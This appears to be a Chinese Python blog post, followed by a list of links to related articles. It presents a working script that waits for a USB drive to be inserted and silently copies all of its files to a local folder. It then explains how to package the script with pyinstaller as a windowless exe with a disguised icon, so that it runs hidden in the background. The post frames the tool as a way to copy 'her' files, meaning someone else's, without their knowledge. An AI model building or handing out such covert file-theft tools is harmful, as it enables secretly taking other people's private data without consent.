仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python二分法实现实例
Nov 21 Python
python类参数self使用示例
Feb 17 Python
Python实现扫描局域网活动ip(扫描在线电脑)
Apr 28 Python
Python使用minidom读写xml的方法
Jun 03 Python
Python中的zipfile模块使用详解
Jun 25 Python
Python工程师面试题 与Python Web相关
Jan 14 Python
Python脚本简单实现打开默认浏览器登录人人和打开QQ的方法
Apr 12 Python
Pycharm在创建py文件时,自动添加文件头注释的实例
May 07 Python
Python之两种模式的生产者消费者模型详解
Oct 26 Python
Pytorch中的variable, tensor与numpy相互转化的方法
Oct 10 Python
基于pycharm实现批量修改变量名
Jun 02 Python
python实现暗通道去雾算法的示例
Sep 27 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP实现MVC开发得最简单的方法――模型
2007/04/10 PHP
Linux下手动编译安装PHP扩展的例子分享
2014/07/15 PHP
php随机生成数字字母组合的方法
2015/03/18 PHP
PHP+JS实现大规模数据提交的方法
2015/07/02 PHP
纯php生成随机密码
2015/10/30 PHP
CI框架集成Smarty的方法分析
2016/05/17 PHP
Mac下快速搭建PHP开发环境步骤详解
2019/05/05 PHP
JS 无限级 Select效果实现代码(json格式)
2011/08/30 Javascript
输入框的字数时时统计—关于 onpropertychange 和 oninput 使用
2011/10/21 Javascript
js如何实现设计模式中的模板方法
2013/07/23 Javascript
浅析jquery的作用与优势
2013/12/02 Javascript
Nodejs实现的一个简单udp广播服务器、客户端
2014/09/25 NodeJs
jQuery后代选择器用法实例
2014/12/23 Javascript
Jquery 垂直多级手风琴菜单附源码下载
2015/11/17 Javascript
JQuery.dataTables表格插件添加跳转到指定页
2017/06/09 jQuery
JavaScript学习笔记之函数记忆
2017/09/06 Javascript
微信小程序wx.previewImage预览图片实例详解
2017/12/07 Javascript
vue项目打包为APP,静态资源正常显示,但API请求不到数据的操作
2020/09/12 Javascript
ES6中的类(Class)示例详解
2020/12/09 Javascript
python复制文件到指定目录的实例
2018/04/27 Python
详解python3安装pillow后报错没有pillow模块以及没有PIL模块问题解决
2019/04/17 Python
python简单区块链模拟详解
2019/07/03 Python
Python + OpenCV 实现LBP特征提取的示例代码
2019/07/11 Python
Django REST Swagger实现指定api参数
2020/07/07 Python
Lulu Guinness露露·吉尼斯官网:红唇包
2019/02/03 全球购物
大唐电信科技股份有限公司java工程师面试经历
2016/12/09 面试题
幼儿园家长会邀请函
2014/01/15 职场文书
大学生的自我鉴定范文
2014/01/21 职场文书
单位工作证明书格式
2014/10/04 职场文书
怎样写辞职信
2015/02/27 职场文书
孔子观后感
2015/06/08 职场文书
学雷锋活动简报
2015/07/20 职场文书
据Python爬虫不靠谱预测可知今年双十一销售额将超过6000亿元
2021/11/11 Python
Pygame Event事件模块的详细示例
2021/11/17 Python
springboot 多数据源配置不生效遇到的坑及解决
2021/11/17 Java/Android
Hive常用日期格式转换语法
2022/06/25 数据库